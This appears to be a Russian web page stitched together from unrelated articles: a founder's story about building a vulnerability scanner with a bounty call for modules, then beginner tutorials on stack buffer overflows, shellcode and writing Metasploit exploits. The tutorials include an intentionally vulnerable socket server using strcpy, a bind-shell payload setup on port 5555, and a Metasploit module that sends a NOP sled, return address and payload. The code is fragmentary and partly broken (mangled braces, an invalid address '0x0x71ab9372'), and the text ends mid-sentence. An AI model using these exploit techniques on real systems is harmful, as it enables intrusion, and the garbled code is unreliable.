Как написать сканер уязвимостей и зарабатывать на эксплойтах
TLDR: О том как я уволился с работы безопасника и написал свой сканер уязвимостей.
И как на этом можно заработать. В конце куски кода сканера и спецификация.
Кто и что взламывает
В 1970х, давным-давно, интернет выглядел вот так.
Основную угрозу ему представляли исследователи и энтузиасты первыми добравшиеся до документации и сетей крупных корпораций.
С тех пор интернет сильно изменился. Атаки на сети, сервисы и веб-приложения стали повседневностью. Каждый день разработчики и исследователи находят десятки уязвимостей. Параллельно с этим взламываются десятки тысяч сайтов.
Это хорошо видно на карте атак Лаборатории Касперского. Она отображает срабатывания IDS, сканирования уязвимостей и атаки ботнетов. Выглядит карта как такая красивая картина и на ней миллионы атак в день только по России.
Киберпрестуступностью занимаются не любители, а организованные группы в десятки человек. Они делают это не из интереса. Это бизнес. Они не ребята в черных капюшонах пишущие «чОрный к0д» ночью перед монитором. Это себе социально активные люди работающие в офисах в разных странах мира.
Моя карьера сложилась так, что несколько лет я отвечал за безопасность сетевого периметра и защиту веб-приложений. О том, во что вылились мои переживания того периода, я расскажу в этой статье.
Если вы работаете\работали в телекоме, банке, провайдере или вы разработчик в большой компании, а особенно, если вы безопасник, то вы знаете, что безопасность в компании, у которой больше 10-15 сайтов — это треш, ад, погибель.
Давайте попробуем улучшить ситуацию. Говорят, что безопасность это процессы.
И процессов много.
Кратко их перечислю:
Перечисленные виды в статье рассматривать не будем, ура.
Их много, и польза варьируется от размера организации, видов активов и их критичности.
Мы поговорим о процессе, который будет приносить пользу даже для малого бизнеса.
От интернет-магазина с сотней тысяч рублей выручки, до огромной корпорации с десятками дата-центров.
Обнаружение уязвимостей
Для того, чтобы понять какие есть способы нас взломать, давайте посмотрим на себя глазами злоумышленника.
Анализ защищенности состоит из нескольких этапов. Для каждого этапа приведу базовый набор утилит которыми можно воспользоваться.
Круто
Окей, круто. У нас есть способ и инструменты для того, чтобы проверить 1 сайт.
На проверку + разбор одного сервиса уйдет несколько дней, чтобы разобраться досконально — неделя и больше.
Не круто
Проблема в том, что у нас может быть не один сервис. А например /20 подсеть.
4096 адресов. На каждом может быть 65535 сервисов. Не круто.
Да, существуют автоматизированные решения. Qualys, Acunetix, Nessus, есть и отечественные вендоры. Разбор того, чем они хороши и плохи, предлагаю оставить для другой статьи.
Они не решали моих задач. Решил, что надо это исправить. Уволился с работы и примерно год у нас с товарищами ушел на разработку.
Как написать сканер уязвимостей
Начнем с требований к системе которую мы хотели получить:
Пользователи — владельцы больших сетевых диапазонов, то есть те, у кого 10 и больше веб-приложений.
Нужно обеспечить ежедневное параллельное сканирование на веб-уязвимости, слабые пароли, ошибки конфигураций и показывать выходящие эксплойты для сотен ip и веб-сайтов.
Для этого используем горизонтально-масштабируемую систему. В неё можно «на лету» добавлять новые ноды и новые типы сканеров. Сейчас сканер использует 7 нод и разделен на 2 взаимодействующие локации в Германии и США. Если интересно, мы напишем про это в другой статье.
Думали о том как написать такой сканер. Поняли, что писать с нуля такую систему имеет мало смысла. Требовался огромный опыт и понимание разных платформ, своя база сетевых фингерпринтов, своя база CVE и эксплойтов к ним и целая огромная система, посвященная анализу защищенности веб-приложений.
Там, где лицензия продуктов это позволяет, решили использовать опенсорсные наработки. Есть компоненты, с закрытым исходным кодом, но свободные для коммерческого использования. Есть достаточно много самописного и форки опенсорсных проектов.
Итак, у нас порядка 20 различных приложений, которые представляют из себя компоненты необходимые для покрытия L3-L7 уровней для автоматизированного пентеста.
Интерфейс для сканера
Каждый скрипт, PoC сплойт или бинарник принимают на вход разные параметры для запуска сканирования. Не очень удобно. Хотелось получить унифицированный формат для запуска любого возможного сканера.
Задумались, что нужно знать любому возможному сканеру чтобы идентифицировать цель. Составили таблицу.
Тип проверки | Входные данные |
---|---|
Интеграция с базами эксплойтов и CVE | Вендор: Продукт: Версия (CPE) |
PoC эксплойт для сервиса | IP, порт, CVE |
Брутилка | IP, порт, протокол прикладного уровня |
Сканер CMS | Домен, порт |
Cканер веб-уязвимостей | Домен или IP, порт |
PoC веб-уязвимости | URI |
Сканер портов | IP |
После первичной проверки nmap и плагином который обращается к CVEdetails для каждого хоста мы получаем набор таких объектов. Мы называем их Metadata.
Для каждого порта по Target мы получаем набор таких метаданных. Теперь нужно понять, какие из наших сканеров хотят поработать с такой целью.
У всех сканеров есть родитель — ScanManager, который делает элегантно:
Берет все сервисы и для каждого из них проверяет все возможные сканеры.
Каждый сканер предоставляет функцию, которая определяет, хочет ли он работать с таким Target.
Поговорим о том, что представляет из себя Сканер.
Рассматривали три варианта:
Но мы очень ленивые и поняли, что в случае первых двух вариантов помимо самих сканеров понадобится еще какая-то инфраструктура для деплоя, написание RPC, отлов багов этого RPC. Плюс мы хотели писать все на Python.
Попробовали несколько решений. Посмотрели на похожие проекты по управлению сканерами, такие как Яндексовая Molly и Minion от Mozilla. Посмотрели на то как устроена работа w3af, Zap. У Burp очень интересная plugin architecture.
Решили что каждый сканер должен быть реализован в виде сериализуемой функции на питоне. Это позволит хранить их прямо в rabbit-mq, быстро доставлять на разные ноды, атомарно выполнять. Мы можем добавлять новые сканеры без необходимости собирать и деливерить приложения. По факту мы получили сервис для распределенного и асинхронного выполнения функций на питоне.
Формат Сканеров
Сканер запускаемый на нашей платформе должен быть объектом, унаследованным от базового класса Scanner.
Любой сканер должен принимать на вход объект типа Metadata и возвращать объекты типа Vulnerability.
Формат уязвимостей
Следующей задачей, которая стояла перед нами — создать унифицированный формат в котором мы можем хранить вывод любого сканера. Будь то веб-комбайн, брутилка директорий или PoC эксплойт для memcached.
Мы решили не городить своих форматов, а воспользоваться индустриальным стандартом — форматом CVE. Мы обогатим CVE метаданными нашей уязвимости для удобства хранения и поиска. Для хранения сканер-специфичных данных добавим поле body. То, какие ключи из body должны быть отображены в веб-интерфейсе, определяется Scanner.
Постарались дать авторам сканеров максимум свободы в реализации.
И предлагаем вам поучаствовать в разработке.
Как зарабатывать на эксплойтах.
Мы хотим, чтобы у людей, которые интересуются безопасностью, у авторов утилит и скриптов, исследователей, была возможность абсолютно легально монетизировать результаты своей работы.
Будем выплачивать вознаграждения авторам модулей на ежемесячной основе и объявляем приём модулей до 30го ноября.
Тестировать мы их будем путем прогона по нашей клиентской базе в более чем 2000 сайтов и подсчете количества детектов.
Авторы первых трех сканеров по количеству найденных уязвимостей получат:
А также предложим предложим им заключить договора и получать награду за использование их сканеров ежемесячно, до тех пор, пока они будут находить уязвимости.
После ноября расширим программу приема сканеров.
Как написать свой эксплоит
Часть 1: Введение в разработку эксплоитов
Это первая часть в (скромной) многотомной серии туториалов, посвященной разработке эксплоитов. Эта часть просто расскажет некоторые базовые вещи, такие, которые нам нужны, чтобы сделать нашу работу, основные идеи скрытые за разработкой эксплоитов и некоторые вещи, которые нужно держать в памяти, если мы хотим заслать и выполнить наш шеллкод. Эти туториалы не будут рассказывать как находить ошибки, вместо этого, каждая часть будет включать уязвимую программу, для которой нужна определенная техника, чтобы успешно эксплуатировать ошибку в ПО. Через определенное время, я намерен рассказать всё, от “ Сохранения Адреса Возврата при Переполнении ” до “ ROP ( Возвратно Ориентированное Программирование )”, конечно эти туториалы не напишут сами себя, поэтому это займёт немного времени, чтобы написать это всё. Стоит отметить, что эти туториалы будут затрагивать все мелкие детали и случаи; это достигается благодаря дизайну, который (1) позволяет мне сэкономить время и (2) позволяет прилежному читателю учиться участвуя в процессе разработки.
Я бы хотел выразить особую благодарность Offensive Security и Corelan`y, спасибо Вам, за то что дали мне эту удивительное и болезненное пристрастие!!
Программное обеспечение для виртуализации
В основном здесь существует два варианта — VirtualBox, который бесплатен и Vmware, который не бесплатен. Если это возможно, я предложил бы использовать Vmware; умный человек, возможно, не должен платить за это ). Вместе с этим нам будут нужны несколько (32-битных) операционных систем, чтобы разрабатывать наши эксплоиты (Вы получите больше пользы из WindowsXP PRO SP3 и любой Windows7).
(2) Переполнения
В обучающих целях, я думаю важно подать вещи очень просто, а не сложно. В общем, когда мы пишем эксплоит, нам нужно найти переполнение в программе. Обычно эти ошибки будут на Переполнение Буфера (место в памяти получает больше данных, чем планировалось) или Переполнение Стэка (обычно Переполнение Буфера, которое записывает за концом стэка. Когда такое переполнение случается, есть две вещи, которые мы ищем; (1) наш буфер должен перезаписать EIP (Текущий указатель на инструкцию) и (2) один из регистров ЦП должен содержать наш буфер. Вы можете увидеть список регистров x86 ЦП ниже, с их отдельными функциями. Всё что мы должны помнить, это то, что любой из этих регистров может хранить наш буфер (и шеллкод).
EAX — Главный регистр используемый в арифметических вычислениях. Он также известен как аккумулятор, он хранит результаты арифметических операций и возвращает значение из функции.
EBX — Регистр базы. Указатель на данные в сегменте DS. Используется, чтобы хранить базовый адрес программы.
ECX — Регистр счетчик, часто используется, чтобы хранить значение, представляющее какое количество раз процесс должен быть повторен. Используется для цикла и строковых операций.
EDX — регистр общего назначения. Также используется, для операций в/в. Помогает расширить регистр EAX до 64 бит.
ESI — Индексный регистр источника. Указатель на данные в сегменте указанном регистром DS. Используется как смещение в строковых и массивных операциях. Он хранит адреса откуда читаются данные.
EDI — Индексный регистр назначения. Указатель на данные(или назначение) в сегменте указанном регистром ES. Используется как смещение в строковых и массивных операциях. Он хранит адреса куда пишутся данные.
EBP — Указатель на базу. Указатель на данные, которые хранятся в стэке (в сегменте SS). Он указывает на начало фрэйма стэка. Он используется, чтобы обращаться к локальным переменным.
ESP — Указатель на стэк (в сегменте SS). Он указывает на вершину стэка в текущем фрэйме. Он используется, чтобы обращаться к локальным переменным.
Написание эксплоитов переполнения буфера. Руководство для начинающих.
Переполнения буфера из пользовательского ввода стало одной из самых серьезных проблем в интернете и в современных компьютерных системах вообще. Все потому, что такие ошибки легко допускается на уровне программирования, и будучи незаметными для пользователей, которые не понимают или не могут получить исходный код, зачастую являются легко взламываемыми. Эта статья позволит среднему программисту на С научиться использовать эти уязвимости.
Переполнения буфера из пользовательского ввода стало одной из самых серьезных проблем в интернете и в современных компьютерных системах вообще. Все потому, что такие ошибки легко допускается на уровне программирования, и будучи незаметными для пользователей, которые не понимают или не могут получить исходный код, зачастую являются легко взламываемыми. Эта статья позволит среднему программисту на С научиться использовать эти уязвимости.
Память
Замечание: Распределение памяти процессов, описанное здесь, соответствует большинству компьютеров, однако все же зависит от архитектуры процессора. Эта статья применима для x86 и грубо подходит для Sparc.
Принцип эксплоита переполнения буфера состоит в записи произвольного ввода в области памяти, которые не должны изменяться, и вынуждение процесса выполнить этот код. Чтобы увидеть, как и где имеет место переполнение, давайте рассмотрим, как организована память. Страница – это часть памяти, которая использует собственную относительную адресацию, к которой процесс может получать доступ без необходимости знать, где она физически находится в RAM. Память процессов состоит из трех разделов:
Функции
Функция – это часть кода в сегменте кода, которая вызывается, выполняет задачу и затем возвращается к предыдущему процессу исполнения. Иногда в функцию могут передаваться аргументы. На ассемблере это обычно выглядит так (простой пример):
Что здесь происходит? Главная функция вызывает function(0). Передаваемая переменная – 0, главная функция помещает (pushl) ее в стек, и затем вызывает функцию. Функция получает переменную из стека, используя popl. После исполнения, она возвращается к адресу 0x8054327. Как правило, главная функция помещает регистр EBP (frame pointer) в стек, который функция сохраняет, и восстанавливает после окончания. Эта концепция позволяет функции использовать собственное смещение для адресации, что, впрочем, малоинтересно для нас. Нам необходимо лишь знать, как выглядит стек. На самом верху мы имеем внутренние буферы и переменные функции. Затем идет сохраненный EBP регистр (32 бита = 4 байта), а затем адрес возврата, который также составляет 4 байта. Продвигаясь дальше вниз, мы дойдем до аргументов, переданных функции, которые нам неинтересны.
В данном случае, адрес возврата 0x8054327. Он автоматически сохраняется в стеке при вызове функции. При наличии уязвимости переполнения в коде, этот адрес возврата может быть перезаписан так, чтобы указывать на любую область памяти.
Пример уязвимой программы
Предположим, что мы делаем эксплоит для функции типа:
Переполнение буфера в программе
EBP равен 0x787878, что означает, что мы записали в стек больше данных, чем входной буфер смог принять. 0x78 – это шестнадцатеричный код ‘x’. Процесс имел буфер максимальным размером 32 байта. Мы записали в память больше данных, чем выделено под пользовательский ввод, тем самым перезаписав EBP и адрес возврата строкой ‘xxxx’, после чего процесс пытался продолжить исполнение по адресу 0x787878, что привело к ошибке segmentation fault.
Изменение адреса возврата
Давайте попробуем вынудить программу вернуться к lame() вместо return. Нам необходимо изменить адрес возврата с 0x80484d0 на 0x80484cb. В памяти у нас есть: 32 байта буферного пространства | 4 байта EBP | 4 байта RET. Вот простая программа для помещения 4-байтного адреса возврата в 1-байтный символьный буфер:
Вот оно! Программа исполнила функцию два раза. Если возможно переполнение, адрес возврата из функции можно изменить, тем самым изменив процесс исполнения программы.
Командная оболочка (shell)
Мы можем поместить простые ассемблерные команды прямо в стек и изменить адрес возврата на адрес стека. Используя этот метод, мы сможем вставить код в уязвимый процесс и затем запустить его прямо в стеке. Так давайте создадим и вставим ассемблерный код для запуска командной оболочки. Обычный системный вызов execve() загружает и запускает любой исполняемый файл, прерывая исполнение текущего процесса. Использование:
Создание переносимого кода
Нам необходимо сделать так, чтобы можно было запускать командную оболочку без необходимости ссылаться на аргументы в памяти традиционным способом, давая их точный адрес в странице памяти, что может быть сделано только при компиляции.
Поскольку мы можем оценить размер кода запуска командной оболочки, мы можем использовать инструкцию jmp и call, чтобы перейти на определенное количество байт назад или вперед в выполняемом коде. Зачем использовать call? Преимущество в том, что CALL автоматически сохраняет в стеке адрес возврата, следующий после инструкции CALL. Помещая переменную сразу за call, мы косвенно помещаем ее адрес в стек, и нет необходимости его знать.
Запуск командной оболочки
Это уже вполне рабочий код запуска командной оболочки. Неплохо, однако, было бы дизассемблировать системный вызов exit() и вставить его перед ‘call’. В искусство написания кода запуска командной оболочки входит также избежание бинарных нулей в коде (указывают на конец ввода/буфера) и его изменение, например таким образом, чтобы двоичный код не содержал управляющих символов, которые могут быть отфильтрованы некоторыми уязвимыми программами.
Многое из этого делается с помощью самоизменяющегося кода, как мы сделали в инструкции movb %eax,0x7(%esi). Мы заменили X на \0, изначально не имея \0 в коде.
Давайте протестируем этот код. Сохраним вышеуказанный код как code.S (удалив комментарии) и следующий код как code.c:
Теперь вы можете сконвертировать код запуска командной оболочки в шестнадцатеричный строковый буфер. Лучший способ это сделать – распечатать его:
Написание эксплоита
Давайте посмотрим, как изменить адрес возврата, чтобы он указывал на код запуска командной оболочки, находящийся в стеке, и напишем пример эксплоита. Для примера возьмем zgv (программа просмотра графических файлов), поскольку она легко уязвима.
Мы видим вершину стека в момент аварийного завершения программы. Можно предположить, что мы можем использовать это как адрес возврата к нашему коду запуска командной оболочки. Теперь мы добавим несколько инструкций NOP (no operation) перед нашим буфером, чтобы не было необходимости абсолютно точно определять начальный адрес нашего кода в памяти.
Функция вернет управление в стек перед нашим кодом, пройдет все NOP до начальной команды JMP, перейдет к CALL, вернется назад к popl, и затем запустится наш код в стеке.
Помните, что стек устроен таким образом: наименьший адрес памяти соответствует вершине стека, на которую указывает ESP, там хранятся начальные переменные, например буфер zgv, в который передается переменная окружения HOME.
Далее мы имеем сохраненный EBP (4 байта) и адрес возврата предыдущей функции. Мы должны записать 8 или более байт после буфера, чтобы перезаписать адрес возврата новым адресом в стеке.
Пример эксплоита zgv
Мы получили строку типа:
В то время как стек zgv выглядит таким образом:
[ МАЛЕНЬКИЙ БУФЕР ] [СОХРАНЕННЫЙ EBP] [ИСХОДНЫЙ RET]
Процедура выполнения zgv теперь такова:
В этом месте zgv не проверяет границы, проводит запись за пределы маленького буфера (smallbuffer), после чего адрес возврата к main становится перезаписан на адрес возврата к стеку. function() производит leave/ret и EIP указывает на стек:
Усовершенствования эксплоита
Существует много программ, которые тяжело взломать, но тем не менее уязвимых. Однако существует много приемов, которые вы можете использовать, чтобы обойти фильтрование ввода и т.п. Кроме того, некоторые методики переполнения буфера не обязательно включают изменение адреса возврата, или наоборот только адреса возврата. Это так называемые переполнения указателя, в которых указатель на функцию может быть перезаписан за счет переполнения, меняя направление исполнения программы (примером является эксплоит RoTShB bind 4.9), или эксплоиты, в которых адрес возврата указывает на указатель переменной окружения, в которой находится код запуска командной оболочки, вместо помещения его в стек (это помогает при очень маленьких стеках и защите от исполнения кода в стеке, и может обмануть некоторые программы безопасности).
Другим важным пунктом для опытного создателя кодов запуска командной оболочки является радикальное изменение кода, который будет состоять только из печатаемых символов в верхнем регистре, а затем сам модифицирует себя для помещения функционального кода запуска командной оболочки в стек и его запуска, и т.д. Никогда код не должен содержать двоичных нулей, потому что он наверняка не будет работать.
Заключения
Мы выяснили, что если существует уязвимость переполнения буфера, зависящая от пользователя, в 90% случаев она может быть взломана, хотя в некоторых ситуациях это может оказаться сложным и потребовать некоторого опыта. Зачем создавать эксплоиты? Чтобы устранять невежественность в индустрии программного обеспечения. Несмотря на сообщения об уязвимостях переполнения буфера в программном обеспечении, программное обеспечение не обновляется, либо большинство пользователей его не обновляет, поскольку уязвимость сложна для взлома и никто не верит, что она создает угрозу безопасности. А когда появляется эксплоит и создает реальную угрозу защите программы, тогда возникает срочная необходимость ее обновить.
Для программиста является сложной задачей писать защищенные программы, но к этому нужно относиться очень серьезно. Это в особенности относится к написанию серверов, программ по безопасности, и программ, которые запускаются от имени root, некоторых специальных эккаунтов или системы. Используйте проверку границ (функции strn*, sn*, вместо sprintf и т.п.), предпочитайте динамическое задание размера буфера в зависимости от пользовательского ввода, будьте осторожны с циклами for/while/ и т.п., которые накапливают данные в буфере, и обрабатывайте пользовательский ввод с большим вниманием – вот главные принципы, которые мы предлагаем.
Также в индустрии безопасности были предприняты значительные усилия для предотвращения проблем переполнения буфера с помощью методик типа неисполняемый стек, suid wrapper, защитные программы, которые проверяют адреса возврата, компиляторы с проверкой границ и т.д. Следует использовать эти техники везде, где это возможно, но не полагайтесь только на них. И не рассчитывайте быть полностью защищенным, если вы используете дистрибутив UNIX двухлетней давности без обновлений, но используя защиту от переполнения буфера или (что еще глупее) файрволл/IDS. Это не может обеспечить безопасность, если вы продолжаете использовать незащищенные программы, потому что все программы безопасности являются программами, и могут сами иметь уязвимости, или как минимум недостатки. Если вы осуществляете частые обновления и используете средства безопасности, вы все равно не можете быть уверены, но можете хотя бы надеяться.
Фабрика сплоитов: учимся писать эксплоиты для Metasploit Framework
Содержание статьи
Откуда берутся сплоиты? Задумывался ли ты, каким образом тусклая новость из
багтрака превращается в реально работающую отмычку? Каким образом двумя десяткам
строчек кода удается получить шелл на удаленном сервере? Сегодня мы посетим
фабрику сплоитов и во всех подробностях посмотрим, как изготавливается
качественное изделие.
Сплоит – что же это за зверь
такой диковинный? По сути, это программа, написанная с целью использования
уязвимости – в ОС, обычной программе или веб-приложении. Он может представлять
из себя что угодно – программку на С/С++ (Delphi, Asm), скриптик на Perl или PHP,
или даже находиться внутри картинки, но главное, что он влияет на уязвимую
систему и заставляет ее работать так, как она не запрограммирована. Удаленный
эксплоит работает через сеть и использует уязвимость без какого-либо
предварительного доступа к уязвимой системе. Локальные же сплоиты запускаются
непосредственно в уязвимой системе, требуя предварительного доступа к ней и
обычно используются для повышения привилегий.
Сплоиты можно разделить по типу используемой уязвимости: переполнение буфера,
SQL-инъекция, межсайтовый скриптинг и т.д. Короче говоря, разновидностей бывает
много и каждая из них отличается как техникой исполнения, так и своей целью. Но
есть в них одно общее – все они содержат код, выполняющий задуманные хакером
действия. Этот код называют: байт-код, шелл-код (так как очень часто этот код
предоставляет доступ к шеллу на удаленной системе), полезной (боевой) нагрузкой
(payload). Написание такого кода – целое искусство. Если хочешь разобраться в
этой области, советую начать со статьи Step’а «Откуда
берутся шеллкоды». Мы же рассмотрим процесс написания эксплоита, а шелл-код
возьмем уже готовый из пакета Metasploit.
Пишем жертву для экспериментов
Убежден, что нет более наглядного способа продемонстрировать создание боевого
кода, чем на конкретном примере. Поэтому начнем с игры в горе-программистов и
наваяем небольшое серверное приложение, оставив в нем критическую уязвимость,
которую и будет эксплуатировать. Приложение будет принимать подключения на
определенном порту: как только придет некоторый пакет, будет вызываться функция,
выполняющая некоторые действия с полученными данными, после чего приложение
завершается. Скелет приложения приведен ниже:
void pr( char *str)
<
char buf[500]=»»;
strcpy(buf,str); // вот и сама уязвимость, собственной персоной
>
int main(int argc, char **argv)
<
.
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
<
//Получаем данные, отправленные клиентом
bytesRecv = recv( clientSocket, Message, 5000, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
<
printf( «\nConnection Closed.\n»);
break;
>
>
pr(Message); // вызываем функцию, которая не проверяет длину входного буфера при
копировании
closesocket(clientSocket);
closesocket(serverSocket);
WSACleanup();
return 0;
>
PUSH EDI // кладем в стек указатель, на буфер, который будем копировать
(*str)
CALL Server._pr // вызываем функцию pf
После вызова CALL стек будет выглядеть следующим образом:
Под переменную buf у нас выделено 500 байт. А что будет, если скопировать
туда строку длиннее?
Как видишь, такая строка затрет EBP, адрес возврата и все, что расположено
ниже по стеку – перезапиши адрес возврата нужным нам значением и тогда при
выходе из функции мы можем вернуться, куда захотим, например, на наш шелл-код.
Правда, стоит сделать поправку: уязвимости может и не быть. В смысле, от
такой критической ошибки, конечно, никуда не деться, и программа в любом случае
будет падать, однако использовать переполнение в сплоите может и не получиться.
Виной тому стековые куки – специальная защита, включаемая в бинарник
компилятором во время сборки приложения. Существует несколько способов обхода
такой защиты (подробнее – смотри ниже), но сейчас для простоты примера
предположим, что стековые кукисы отключены. Поэтому либо отключаем поддержку
кукисов во время компиляции в Visual Studio, либо используем компилятор, который
вообще не умеет встраивать подобную защиту. Второй вариант, как мне кажется,
проще – так как можно использовать бесплатный компилятор
lccwin32.
Компилируем и запускаем.
Убить наповал!
Сервер работает ровно до тех пор, пока ему не придет строка, состоящая более
чем из 500 символов. В противном случае – непременно вылет приложения. Набросаем
небольшой скриптик на Perl’е для эксплуатации переполнения буфера:
print «[+] Payload sent\n»;
Используем Metasploit для разработки эксплоита
Символов в передаваемой строке 1000, все они одинаковые, поэтому
неудивительно, что в строке возврата появляется значение, состоящее из буквы A.
Но если составить строку, которая будет состоять из неповторяющихся
буквенно-числовых строк, то легко определить позицию тех символов, которые
попадают в адрес возврата. Генерацией такой строки как раз и занимается утилита,
входящая в состав Metasploit, pattern_gererate. В качестве единственного
обязательного параметра передается длина строки. Итак, создадим буфер длиной в
1000 символов для дальнейшего использования в нашем сплоите:
msf > ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3 [967 символов вырезано злым редактором] Bh0Bh1Bh2Bh
И заменяем строчку кода, отправляющую сформированную строку в сокет, на:
0040130B: CALL 00404351
[buf][ebp][ret][предыдущий стековый фрейм]
Нажимаем (перейти на следующую инструкцию) и отмечаем изменения в стеке:
[buf][ebp][ret][предыдущий стековый фрейм]
[AAAAAAAA][BBB][CCCCCCCC…]
Теперь взглянем на конец функции pf:
00401313 POP EDI
00401314 POP ESI
00401315 LEAVE
00401316 RETN
При вызове команды LEAVE происходит следующее:
MOV ESP, EBP //теперь в ESP содержится адрес [ebp]
POP EBP // в EBP заносится значение из [ebp] (эта область у нас перезаписана
символами «А», следовательно, EBP будет равен 41414141), ESP теперь указывает на
адрес возврата.
Переход к ESP – вполне обычное действие для виндовых приложений. Более того,
любое такое приложение использует, как минимум, одну системную DLL’ку, в которых
есть инструкции на любой вкус. Адреса в таких DLL’ках, как правило, статичны и
не изменяются! Получается, если найти инструкцию перехода на ESP (а это либо jmp
esp, либо push esp + ret, либо call esp), взять ее адрес и заменить им адрес
возврата, то на выходе из функции управление передастся на ESP – прямиком нашему
шелл-коду.
Осуществлять поиск будем с помощью полезной утилиты findjmp, входящей в
состав пакета тулз
MSF
eXploit Builder – он нам понадобится и позже. Прога ищет адрес команды call,
jmp, push + регистр и ret в dll или приложении. Наша программа работает с
сокетами, и значит, она будет использовать стандартную виндовую библиотеку
ws2_32.dll. Посмотрим, есть ли там интересующий нас опкод (то есть машинные
инструкции, соответствующие передаче управления на ESP). Запускаем с указанием,
во-первых, библиотеки для поиска, и, во-вторых, нужного регистра:
msf > use windows/shell_bind_tcp // будем использовать этот payload
msf payload(shell_bind_tcp) > set LPORT 5555 // устанавливаем значение порта на
удаленной машине
LPORT => 5555
Указываем, что надо избегать байтов ‘\x00\xff’, генерировать код для Perl’a и
сохранить полученные результаты в c:\\shellcode.bin:
Вот теперь, имея на руках шелл-код, настало время собрать полноценный
эксплоит. Единственное – нужно помнить несколько моментов:
Отправляемая серверу строка будем формироваться следующим образом:
Окончательно строка, отправляемая в сокет:
После чего пытаемся в сплоите установить соединение с удаленной машиной на
5555 порту, который мы указали при генерации шелл-кода:
Запускаем эксплоит и… о чудо, он работает! Протестировав эксплоит на
различных ОС (Windows XP SP3), можно увидеть, что значение смещения не меняется
— меняется только наш адрес возврата.
Эксплоит для Metasploit
Итак, у нас есть сплоит для конкретной платформы с вполне определенной
нагрузкой, открывающей в системе шелл. Так зачем нужна вообще какая-либо
специальная платформа для создания сплоита, если мы вполне обошлись силами
одного лишь Perl’а? Причина в том, что Metasploit предоставляет огромное
количество заготовок, реализаций различных протоколов, одну из самых больших баз
шелл-кодов, payload-ов, которые можно использовать при написании собственного
эксплоита. Вместо убогого скрипта на Perl’е можно написать модуль для Metasploit,
после чего запускать его на любой платформе и выбирать payload на свой вкус!
Чуешь разницу? Предлагаю прямо сейчас усовершенствовать наш сплоит, переписав
его для Metasploit, и посмотреть, как это работает. Само собой, он будет
обладать возможностью выбора платформы для атаки, а выбирать пейлоад ты сможешь
прямо во время исполнения атаки.
Любой эксплоит для Metasploit имеет фиксированную структуру, которая состоит
из объявления заголовочных файлов, подключения ядра msf/core, определения класса
эксплоита, в котором описывается его функциональность. Я не буду приводить здесь
полный исходник модуля, но выкладываю его на диске. Рекомендую для большей
ясности открыть его прямо сейчас и далее читать мое практически построчное
объяснение его кода.
Первое, с чего начинается любой сплоит, – это подключение ядра Metasploit
Framework:
Функциональность любого сплоита описывается с помощью класса, где его
настройки задаются с помощью параметров, а функциональность – с помощью методов.
Создаваемый объект наследуется от одного из предопределенных классов. Поскольку
мы создаем удаленный сплоит, то и наследуем наш объект от родительского класса
«Удаленный эксплоит». В синтаксисе Ruby это делается так:
Большая заслуга Metasploit в том, что он унифицирует большое количество
параметров и действий, позволяя использовать готовые конструкции вновь и вновь.
Первый элемент разрабатываемого класса – секция include, где мы подключаем
обработчик для нужного нам протокола. В Metasploit есть обработчики для http,
ftp и других протоколов, что позволяет быстрее писать эксплоиты, не
заморачиваясь с их собственной реализацией. Наш эксплоит использует
TCP-подключение, поэтому код будет выглядеть следующим образом:
Далее весь сплоит делится на два метода: метод инициализации, в котором мы
указываем информацию, необходимую для успешного выполнения эксплоита, и метод
эксплуатации, в котором мы отправляем на сервер ядовитую строку.
Начнем с инициализации. Параметр Payload задает длину ядовитого буфера и
недопустимые символы (в нашем случае – 0х00 и 0xff):
Далее определяем цели эксплоита и специфичные для каждой цели параметры,
такие как адрес возврата, смещение и т.д.:
‘Platform’ => ‘win’,
‘Targets’ =>
[
[‘Windows XP SP2 En’,
< 'Ret' =>0x0x71ab9372, ‘Offset’ => 504 > ],
[‘Windows 2003 Server R2 SP2’,
< 'Ret' =>0x71c02b67, ‘Offset’ => 504 > ],
def exploit
connect
junk = make_nops(target[‘Offset’])
sploit = junk + [target.ret].pack(‘V’) + make_nops(50) + payload.encoded
sock.put(sploit)
handler
disconnect
end
Вот и все, наш первый модуль для Metasploit готов! Чтобы его можно было
использовать, скопируем исходник в папку modules/exploits/test (если не нравится
test – можешь скопировать в windows/misc, например). Запускаем msfconsole и
работаем в интерактивной консоли Metasploit’а!
Эксплоит за 5 минут
Как видишь, разработать эксплоит для Metasplot не так сложно. Скорее даже
наоборот, ведь большая часть работы уже сделана за тебя. Взять хотя бы огромную
базу шелл-кодов – попробуй разработать свой. Но лени человеческой нет предела,
поэтому в стремлении еще больше упростить процесс был разработан пакет утилит
тебе MSF eXploit Builder. Программа имеет удобный графический интерфейс и
поможет по-настоящему быстро создавать новый модуль для Metasploit. Кроме
удобного GUI, eXploit Builder включает в себя целую кучу полезных тулз,
необходимых для отладки и тестирования эксплоитов. Более того – можно опять же
создавать с нуля, а портировать уже существующие сплоиты.
Запускаем MSF eXploit Builder, заходим в меню «Editor» и выбираем «New».
Появляется окно с несколькими вкладками (Information, Badchars, Analysis,
Shellcode, Design). Переходим на вкладку «Information» и видим много интересных
полей. Как ты помнишь, в этой секции указываются цели (OS + SP) и тип/протокол
эксплоита (например, remote/tcp). Более того, программа предоставляет нам
возможность тестирования и отладки полученного эксплоита, поэтому тут же можно
выбрать исполняемый файл и указать параметры для его запуска (порт, ip-адрес).
Итак, выбираем наш tftpd.exe, после чего утилита предложит следующие действия
на выбор: запустить приложение, запустить его под отладчиком или не запускать
вообще – просто запустим приложение. Обрати внимание, что справа сбоку
отобразится список загруженных приложением DDL’ек.
Теперь начинаем смотреть код сплоита – на наше счастье он предельно понятный.
Комментарий «Restricted chars = 0x00 0x6e 0x65 0x74» явно указывает на
запрещенные символы – что ж, выставим их в нашей программе. Для этого переходим
на вкладку Badchars и в одноименном поле вводим: \x00\x6e\x65\x74. Далее по коду
мы видим, как формируется ядовитый пакет:
Собственно, теперь у нас есть все для создания готового сплоита. Поэтому
нажимаем на кнопку «Generate» и любуемся кодом получившегося сплоита. Если
какие-то моменты вызывают сомнения, тут же можно отредактировать код вручную.
Классно, что возможно сразу проверить работоспособность кода – для этого смело
жмем кнопку «Test». И ведь – все работает! За 5 минут, которые ушли на
ознакомление с программой, и без всякого знания, как языка Ruby, так и структуры
Metasploit, мы создали полностью рабочий сплоит. Это дорогого стоит! В качестве
домашнего задания попробуй с помощью MSF eXploit Builder создать эксплоит для
нашего сервера :).
Заключение
Вот и закончилась наша экскурсия по фабрике эксплоитов. Знать, как устроены
сплоиты, полезно во многих отношениях. Не умея прочитать шелл-код в свежем
